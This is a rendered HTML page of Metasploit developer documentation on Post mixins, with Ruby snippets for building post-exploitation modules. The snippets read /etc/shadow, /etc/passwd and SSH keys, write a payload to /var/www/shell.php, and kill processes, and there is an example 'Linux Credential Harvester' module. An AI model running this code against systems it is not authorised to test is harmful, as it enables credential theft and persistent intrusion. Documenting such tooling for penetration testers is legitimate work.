Files
metasploit-gs/docs/development/developing-modules/libraries/post-mixins.html
T

130 lines
68 KiB
HTML
Raw Normal View History

2026-05-08 17:08:43 +00:00
<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><link rel="shortcut icon" href="/assets/images/favicon.png" type="image/x-icon"><link rel="stylesheet" href="/assets/css/just-the-docs-default.css"> <script async src="https://www.googletagmanager.com/gtag/js?id=UA-4622520-7"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'UA-4622520-7', { 'anonymize_ip': true }); </script> <script type="text/javascript" src="/assets/js/vendor/lunr.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/mermaid@10.8.0/dist/mermaid.min.js"></script> <script type="text/javascript" src="/assets/js/just-the-docs.js"></script><meta name="viewport" content="width=device-width, initial-scale=1"><title>PostMixins | Metasploit Documentation Penetration Testing Software, Pen Testing Security</title><meta name="generator" content="Jekyll v4.3.4" /><meta property="og:title" content="PostMixins" /><meta property="og:locale" content="en_US" /><meta name="description" content="View Metasploit Framework Documentation" /><meta property="og:description" content="View Metasploit Framework Documentation" /><link rel="canonical" href="https://rapid7.github.io/metasploit-framework/docs/development/developing-modules/libraries/post-mixins.html" /><meta property="og:url" content="https://rapid7.github.io/metasploit-framework/docs/development/developing-modules/libraries/post-mixins.html" /><meta property="og:site_name" content="Metasploit Documentation Penetration Testing Software, Pen Testing Security" /><meta property="og:type" content="website" /><meta name="twitter:card" content="summary" /><meta property="twitter:title" content="PostMixins" /> <script type="application/ld+json"> {"@context":"https://schema.org","@type":"WebPage","description":"View Metasploit Framework Documentation","headline":"PostMixins","publisher":{"@type":"Organization","logo":{"@type":"ImageObject","url":"https://rapid7.github.io/metasploit-framework/assets/images/favicon.png"}},"url":"https://rapid7.github.io/metasploit-framework/docs/development/developing-modules/libraries/post-mixins.html"}</script><body> <svg xmlns="http://www.w3.org/2000/svg" style="display: none;"> <symbol id="svg-link" viewBox="0 0 24 24"><title>Link</title><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-link"><path d="M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71"></path><path d="M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71"></path> </svg> </symbol> <symbol id="svg-search" viewBox="0 0 24 24"><title>Search</title><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-search"> <circle cx="11" cy="11" r="8"></circle><line x1="21" y1="21" x2="16.65" y2="16.65"></line> </svg> </symbol> <symbol id="svg-menu" viewBox="0 0 24 24"><title>Menu</title><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-menu"><line x1="3" y1="12" x2="21" y2="12"></line><line x1="3" y1="6" x2="21" y2="6"></line><line x1="3" y1="18" x2="21" y2="18"></line> </svg> </symbol> <symbol id="svg-arrow-right" viewBox="0 0 24 24"><title>Expand</title><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-chevron-right"><polyline points="9 18 15 12 9 6"></polyline> </svg> </symbol> <symbol id="svg-doc" viewBox="0 0 24 24"><title>Document</title><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
<span class="c1"># Modern API - use create_process for commands with arguments</span>
<span class="n">output</span> <span class="o">=</span> <span class="n">create_process</span><span class="p">(</span><span class="s1">'grep'</span><span class="p">,</span> <span class="ss">args: </span><span class="p">[</span><span class="s1">'-r'</span><span class="p">,</span> <span class="n">pattern</span><span class="p">,</span> <span class="s1">'/var/log'</span><span class="p">],</span> <span class="ss">time_out: </span><span class="mi">30</span><span class="p">,</span> <span class="ss">opts: </span><span class="p">{</span> <span class="s1">'Hidden'</span> <span class="o">=&gt;</span> <span class="kp">true</span> <span class="p">})</span>
<span class="c1"># Legacy API - cmd_exec only for static command strings</span>
<span class="n">hostname</span> <span class="o">=</span> <span class="n">cmd_exec</span><span class="p">(</span><span class="s1">'hostname'</span><span class="p">)</span>
<span class="c1"># Environment variables</span>
<span class="n">env_vars</span> <span class="o">=</span> <span class="n">get_envs</span><span class="p">(</span><span class="s1">'HOME'</span><span class="p">,</span> <span class="s1">'USER'</span><span class="p">,</span> <span class="s1">'PATH'</span><span class="p">)</span> <span class="c1"># Returns hash of env vars</span>
<span class="n">home</span> <span class="o">=</span> <span class="n">get_env</span><span class="p">(</span><span class="s1">'HOME'</span><span class="p">)</span> <span class="c1"># Single variable</span>
<span class="c1"># Check command availability</span>
<span class="k">if</span> <span class="n">command_exists?</span><span class="p">(</span><span class="s1">'python3'</span><span class="p">)</span>
<span class="n">version</span> <span class="o">=</span> <span class="n">create_process</span><span class="p">(</span><span class="s1">'python3'</span><span class="p">,</span> <span class="ss">args: </span><span class="p">[</span><span class="s1">'--version'</span><span class="p">])</span>
<span class="k">end</span>
<span class="c1"># Session information</span>
<span class="n">target</span> <span class="o">=</span> <span class="s2">"</span><span class="si">#{</span><span class="n">rhost</span><span class="si">}</span><span class="s2">:</span><span class="si">#{</span><span class="n">rport</span><span class="si">}</span><span class="s2">"</span> <span class="c1"># Or use: peer</span>
</code></pre></div></div><h2 id="msfpostfile"> <a href="#msfpostfile" class="anchor-heading" aria-labelledby="msfpostfile"><svg viewBox="0 0 16 16" aria-hidden="true"><use xlink:href="#svg-link"></use></svg></a> Msf::Post::File</h2><p>Cross-platform file system operations.</p><div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kp">include</span> <span class="no">Msf</span><span class="o">::</span><span class="no">Post</span><span class="o">::</span><span class="no">File</span>
<span class="c1"># Navigation and listing</span>
<span class="n">current</span> <span class="o">=</span> <span class="n">pwd</span>
<span class="n">cd</span><span class="p">(</span><span class="s1">'/tmp'</span><span class="p">)</span>
<span class="n">files</span> <span class="o">=</span> <span class="n">dir</span><span class="p">(</span><span class="s1">'/etc'</span><span class="p">)</span> <span class="c1"># or ls('/etc')</span>
<span class="c1"># File checks</span>
<span class="k">if</span> <span class="n">file?</span><span class="p">(</span><span class="s1">'/etc/passwd'</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">readable?</span><span class="p">(</span><span class="s1">'/etc/passwd'</span><span class="p">)</span>
<span class="n">content</span> <span class="o">=</span> <span class="n">read_file</span><span class="p">(</span><span class="s1">'/etc/passwd'</span><span class="p">)</span>
<span class="n">store_loot</span><span class="p">(</span><span class="s1">'passwd'</span><span class="p">,</span> <span class="s1">'text/plain'</span><span class="p">,</span> <span class="n">session</span><span class="p">,</span> <span class="n">content</span><span class="p">)</span>
<span class="k">end</span>
<span class="k">if</span> <span class="n">directory?</span><span class="p">(</span><span class="s1">'/var/www'</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">writable?</span><span class="p">(</span><span class="s1">'/var/www'</span><span class="p">)</span>
<span class="n">write_file</span><span class="p">(</span><span class="s1">'/var/www/shell.php'</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>
<span class="k">end</span>
<span class="c1"># File operations</span>
<span class="n">mkdir</span><span class="p">(</span><span class="s1">'/tmp/staging'</span><span class="p">)</span> <span class="c1"># Auto-registered for cleanup</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">read_file</span><span class="p">(</span><span class="s1">'/etc/shadow'</span><span class="p">)</span>
<span class="n">write_file</span><span class="p">(</span><span class="s1">'/tmp/output.txt'</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span>
<span class="nb">hash</span> <span class="o">=</span> <span class="n">file_remote_digestmd5</span><span class="p">(</span><span class="s1">'/bin/bash'</span><span class="p">)</span>
<span class="c1"># Path expansion</span>
<span class="n">expanded</span> <span class="o">=</span> <span class="n">expand_path</span><span class="p">(</span><span class="s1">'$HOME/.ssh/id_rsa'</span><span class="p">)</span> <span class="c1"># Unix</span>
<span class="n">expanded</span> <span class="o">=</span> <span class="n">expand_path</span><span class="p">(</span><span class="s1">'%APPDATA%\\data'</span><span class="p">)</span> <span class="c1"># Windows</span>
</code></pre></div></div><h2 id="msfpostprocess"> <a href="#msfpostprocess" class="anchor-heading" aria-labelledby="msfpostprocess"><svg viewBox="0 0 16 16" aria-hidden="true"><use xlink:href="#svg-link"></use></svg></a> Msf::Post::Process</h2><p>Process enumeration and manipulation.</p><div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kp">include</span> <span class="no">Msf</span><span class="o">::</span><span class="no">Post</span><span class="o">::</span><span class="no">Process</span>
<span class="c1"># Enumerate processes</span>
<span class="n">processes</span> <span class="o">=</span> <span class="n">get_processes</span>
<span class="n">processes</span><span class="p">.</span><span class="nf">each</span> <span class="p">{</span> <span class="o">|</span><span class="nb">p</span><span class="o">|</span> <span class="n">print_line</span><span class="p">(</span><span class="s2">"</span><span class="si">#{</span><span class="nb">p</span><span class="p">[</span><span class="s1">'pid'</span><span class="p">]</span><span class="si">}</span><span class="s2">: </span><span class="si">#{</span><span class="nb">p</span><span class="p">[</span><span class="s1">'name'</span><span class="p">]</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span> <span class="p">}</span>
<span class="c1"># Find specific processes</span>
<span class="n">nginx_pids</span> <span class="o">=</span> <span class="n">pidof</span><span class="p">(</span><span class="s1">'nginx'</span><span class="p">)</span>
<span class="k">if</span> <span class="n">nginx_pids</span><span class="p">.</span><span class="nf">any?</span>
<span class="n">print_good</span><span class="p">(</span><span class="s2">"Found nginx: </span><span class="si">#{</span><span class="n">nginx_pids</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="s1">', '</span><span class="p">)</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="n">nginx_pids</span><span class="p">.</span><span class="nf">each</span> <span class="p">{</span> <span class="o">|</span><span class="n">pid</span><span class="o">|</span> <span class="n">kill_process</span><span class="p">(</span><span class="n">pid</span><span class="p">)</span> <span class="p">}</span>
<span class="k">end</span>
<span class="c1"># Check process existence</span>
<span class="k">if</span> <span class="n">has_pid?</span><span class="p">(</span><span class="mi">1234</span><span class="p">)</span>
<span class="n">print_good</span><span class="p">(</span><span class="s2">"Process 1234 is running"</span><span class="p">)</span>
<span class="k">end</span>
</code></pre></div></div><h2 id="msfpostunix"> <a href="#msfpostunix" class="anchor-heading" aria-labelledby="msfpostunix"><svg viewBox="0 0 16 16" aria-hidden="true"><use xlink:href="#svg-link"></use></svg></a> Msf::Post::Unix</h2><p>Unix/Linux-specific utilities.</p><div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kp">include</span> <span class="no">Msf</span><span class="o">::</span><span class="no">Post</span><span class="o">::</span><span class="no">Unix</span>
<span class="c1"># Privilege checking</span>
<span class="k">if</span> <span class="n">is_root?</span>
<span class="n">print_good</span><span class="p">(</span><span class="s2">"Running as root"</span><span class="p">)</span>
<span class="k">else</span>
<span class="n">print_warning</span><span class="p">(</span><span class="s2">"Running as </span><span class="si">#{</span><span class="n">whoami</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="k">end</span>
<span class="c1"># User enumeration</span>
<span class="n">users</span> <span class="o">=</span> <span class="n">get_users</span>
<span class="n">users</span><span class="p">.</span><span class="nf">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">u</span><span class="o">|</span>
<span class="n">print_line</span><span class="p">(</span><span class="s2">"</span><span class="si">#{</span><span class="n">u</span><span class="p">[</span><span class="s1">'name'</span><span class="p">]</span><span class="si">}</span><span class="s2"> (UID: </span><span class="si">#{</span><span class="n">u</span><span class="p">[</span><span class="s1">'uid'</span><span class="p">]</span><span class="si">}</span><span class="s2">, Shell: </span><span class="si">#{</span><span class="n">u</span><span class="p">[</span><span class="s1">'shell'</span><span class="p">]</span><span class="si">}</span><span class="s2">)"</span><span class="p">)</span>
<span class="k">end</span>
<span class="n">admin_users</span> <span class="o">=</span> <span class="n">users</span><span class="p">.</span><span class="nf">select</span> <span class="p">{</span> <span class="o">|</span><span class="n">u</span><span class="o">|</span> <span class="n">u</span><span class="p">[</span><span class="s1">'uid'</span><span class="p">].</span><span class="nf">to_i</span> <span class="o">==</span> <span class="mi">0</span> <span class="p">}</span>
<span class="c1"># Group enumeration</span>
<span class="n">groups</span> <span class="o">=</span> <span class="n">get_groups</span>
<span class="n">sudo_group</span> <span class="o">=</span> <span class="n">groups</span><span class="p">.</span><span class="nf">find</span> <span class="p">{</span> <span class="o">|</span><span class="n">g</span><span class="o">|</span> <span class="n">g</span><span class="p">[</span><span class="s1">'name'</span><span class="p">]</span> <span class="o">=~</span> <span class="sr">/sudo|wheel/</span> <span class="p">}</span>
<span class="n">print_good</span><span class="p">(</span><span class="s2">"Sudo users: </span><span class="si">#{</span><span class="n">sudo_group</span><span class="p">[</span><span class="s1">'users'</span><span class="p">]</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span> <span class="k">if</span> <span class="n">sudo_group</span>
<span class="c1"># Find SSH keys and interesting files</span>
<span class="n">ssh_keys</span> <span class="o">=</span> <span class="n">enum_user_directories</span>
<span class="n">ssh_keys</span><span class="p">.</span><span class="nf">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">key</span><span class="o">|</span>
<span class="n">content</span> <span class="o">=</span> <span class="n">read_file</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
<span class="n">store_loot</span><span class="p">(</span><span class="s1">'ssh.key'</span><span class="p">,</span> <span class="s1">'text/plain'</span><span class="p">,</span> <span class="n">session</span><span class="p">,</span> <span class="n">content</span><span class="p">,</span> <span class="n">key</span><span class="p">)</span>
<span class="k">end</span>
</code></pre></div></div><h2 id="platform-specific-mixins"> <a href="#platform-specific-mixins" class="anchor-heading" aria-labelledby="platform-specific-mixins"><svg viewBox="0 0 16 16" aria-hidden="true"><use xlink:href="#svg-link"></use></svg></a> Platform-Specific Mixins</h2><h3 id="msfpostwindows"> <a href="#msfpostwindows" class="anchor-heading" aria-labelledby="msfpostwindows"><svg viewBox="0 0 16 16" aria-hidden="true"><use xlink:href="#svg-link"></use></svg></a> Msf::Post::Windows</h3><p>Windows-specific operations including registry manipulation, service management, and Windows API access. See Windows-specific documentation.</p><h3 id="msfpostlinux"> <a href="#msfpostlinux" class="anchor-heading" aria-labelledby="msfpostlinux"><svg viewBox="0 0 16 16" aria-hidden="true"><use xlink:href="#svg-link"></use></svg></a> Msf::Post::Linux</h3><p>Linux-specific system information gathering and kernel utilities.</p><h3 id="msfpostosx"> <a href="#msfpostosx" class="anchor-heading" aria-labelledby="msfpostosx"><svg viewBox="0 0 16 16" aria-hidden="true"><use xlink:href="#svg-link"></use></svg></a> Msf::Post::OSX</h3><p>macOS-specific utilities and system interaction methods.</p><h3 id="msfpostandroid"> <a href="#msfpostandroid" class="anchor-heading" aria-labelledby="msfpostandroid"><svg viewBox="0 0 16 16" aria-hidden="true"><use xlink:href="#svg-link"></use></svg></a> Msf::Post::Android</h3><p>Android device interaction and data collection methods.</p><h3 id="msfposthardware"> <a href="#msfposthardware" class="anchor-heading" aria-labelledby="msfposthardware"><svg viewBox="0 0 16 16" aria-hidden="true"><use xlink:href="#svg-link"></use></svg></a> Msf::Post::Hardware</h3><p>Hardware interaction utilities (e.g., USB devices, serial ports).</p><h2 id="example-module"> <a href="#example-module" class="anchor-heading" aria-labelledby="example-module"><svg viewBox="0 0 16 16" aria-hidden="true"><use xlink:href="#svg-link"></use></svg></a> Example Module</h2><div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">MetasploitModule</span> <span class="o">&lt;</span> <span class="no">Msf</span><span class="o">::</span><span class="no">Post</span>
<span class="kp">include</span> <span class="no">Msf</span><span class="o">::</span><span class="no">Post</span><span class="o">::</span><span class="no">File</span>
<span class="kp">include</span> <span class="no">Msf</span><span class="o">::</span><span class="no">Post</span><span class="o">::</span><span class="no">Unix</span>
<span class="k">def</span> <span class="nf">initialize</span><span class="p">(</span><span class="n">info</span> <span class="o">=</span> <span class="p">{})</span>
<span class="k">super</span><span class="p">(</span><span class="n">update_info</span><span class="p">(</span><span class="n">info</span><span class="p">,</span>
<span class="s1">'Name'</span> <span class="o">=&gt;</span> <span class="s1">'Linux Credential Harvester'</span><span class="p">,</span>
<span class="s1">'Description'</span> <span class="o">=&gt;</span> <span class="s1">'Collects credentials from Linux system'</span><span class="p">,</span>
<span class="s1">'License'</span> <span class="o">=&gt;</span> <span class="no">MSF_LICENSE</span><span class="p">,</span>
<span class="s1">'Author'</span> <span class="o">=&gt;</span> <span class="p">[</span><span class="s1">'Your Name'</span><span class="p">],</span>
<span class="s1">'Platform'</span> <span class="o">=&gt;</span> <span class="p">[</span><span class="s1">'linux'</span><span class="p">],</span>
<span class="s1">'SessionTypes'</span> <span class="o">=&gt;</span> <span class="p">[</span><span class="s1">'meterpreter'</span><span class="p">,</span> <span class="s1">'shell'</span><span class="p">]</span>
<span class="p">))</span>
<span class="k">end</span>
<span class="k">def</span> <span class="nf">run</span>
<span class="n">print_status</span><span class="p">(</span><span class="s2">"Harvesting credentials on </span><span class="si">#{</span><span class="n">peer</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="k">if</span> <span class="n">is_root?</span>
<span class="c1"># Root access - collect shadow file</span>
<span class="k">if</span> <span class="n">readable?</span><span class="p">(</span><span class="s1">'/etc/shadow'</span><span class="p">)</span>
<span class="n">shadow</span> <span class="o">=</span> <span class="n">read_file</span><span class="p">(</span><span class="s1">'/etc/shadow'</span><span class="p">)</span>
<span class="n">store_loot</span><span class="p">(</span><span class="s1">'shadow'</span><span class="p">,</span> <span class="s1">'text/plain'</span><span class="p">,</span> <span class="n">session</span><span class="p">,</span> <span class="n">shadow</span><span class="p">,</span> <span class="s1">'/etc/shadow'</span><span class="p">)</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="c1"># Collect SSH keys</span>
<span class="n">ssh_keys</span> <span class="o">=</span> <span class="n">enum_user_directories</span>
<span class="n">ssh_keys</span><span class="p">.</span><span class="nf">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">key_path</span><span class="o">|</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">read_file</span><span class="p">(</span><span class="n">key_path</span><span class="p">)</span>
<span class="n">store_loot</span><span class="p">(</span><span class="s1">'ssh.key'</span><span class="p">,</span> <span class="s1">'text/plain'</span><span class="p">,</span> <span class="n">session</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">key_path</span><span class="p">)</span>
<span class="k">end</span>
<span class="c1"># Check for interesting processes</span>
<span class="k">if</span> <span class="n">pidof</span><span class="p">(</span><span class="s1">'sshd'</span><span class="p">).</span><span class="nf">any?</span>
<span class="n">print_good</span><span class="p">(</span><span class="s2">"SSH daemon running"</span><span class="p">)</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div><h2 id="best-practices"> <a href="#best-practices" class="anchor-heading" aria-labelledby="best-practices"><svg viewBox="0 0 16 16" aria-hidden="true"><use xlink:href="#svg-link"></use></svg></a> Best Practices</h2><ul><li><strong>Use <code class="language-plaintext highlighter-rouge">create_process</code></strong> for commands with arguments: <code class="language-plaintext highlighter-rouge">create_process('ls', args: ['-la', path])</code><li><strong>Use <code class="language-plaintext highlighter-rouge">cmd_exec</code></strong> only for static strings: <code class="language-plaintext highlighter-rouge">cmd_exec('hostname')</code><li><strong>Check before acting</strong>: Use <code class="language-plaintext highlighter-rouge">file?()</code>, <code class="language-plaintext highlighter-rouge">readable?()</code>, <code class="language-plaintext highlighter-rouge">writable?()</code> before file operations<li><strong>Handle errors</strong>: Wrap operations in <code class="language-plaintext highlighter-rouge">begin/rescue</code> blocks<li><strong>Register cleanup</strong>: Files created with <code class="language-plaintext highlighter-rouge">write_file()</code> are auto-registered; use <code class="language-plaintext highlighter-rouge">register_file_for_cleanup()</code> for others<li><strong>Store loot properly</strong>: Use <code class="language-plaintext highlighter-rouge">store_loot()</code> to save collected data<li><strong>Check session type</strong>: Some operations behave differently on Meterpreter vs shell sessions</ul><hr><footer><p><a href="#top" id="back-to-top">Back to top</a></p><p class="text-small text-grey-dk-000 mb-0"> <a href="https://github.com/rapid7/metasploit-framework/tree/master/docs/metasploit-framework.wiki/Post-Mixins.md" id="edit-this-page">Edit this page on GitHub</a></p></footer></div></div><div class="search-overlay"></div></div><script type="text/javascript" src="/assets/js/toggle_mode.js"></script> <script> var config = { theme: 'default', logLevel: 'fatal', securityLevel: 'strict', startOnLoad: true, arrowMarkerAbsolute: false, er: { diagramPadding: 20, layoutDirection: 'TB', minEntityWidth: 100, minEntityHeight: 75, entityPadding: 15, stroke: 'gray', fill: 'honeydew', fontSize: 12, useMaxWidth: true, }, flowchart:{ diagramPadding: 8, htmlLabels: true, curve: 'basis', }, sequence: { diagramMarginX: 50, diagramMarginY: 10, actorMargin: 50, width: 150, height: 65, boxMargin: 10, boxTextMargin: 5, noteMargin: 10, messageMargin: 35, messageAlign: 'center', mirrorActors: true, bottomMarginAdj: 1, useMaxWidth: true, rightAngles: false, showSequenceNumbers: false, }, gantt: { titleTopMargin: 25, barHeight: 20, barGap: 4, topPadding: 50, leftPadding: 75, fontSize: 11, gridLineStartPadding: 35, fontFamily: '\'Open Sans\', sans-serif', numberSectionStyles: 4, axisFormat: '%Y-%m-%d', topAxis: false, }, }; mermaid.initialize(config); window.mermaid.init(undefined, document.querySelectorAll('.language-mermaid')); </script>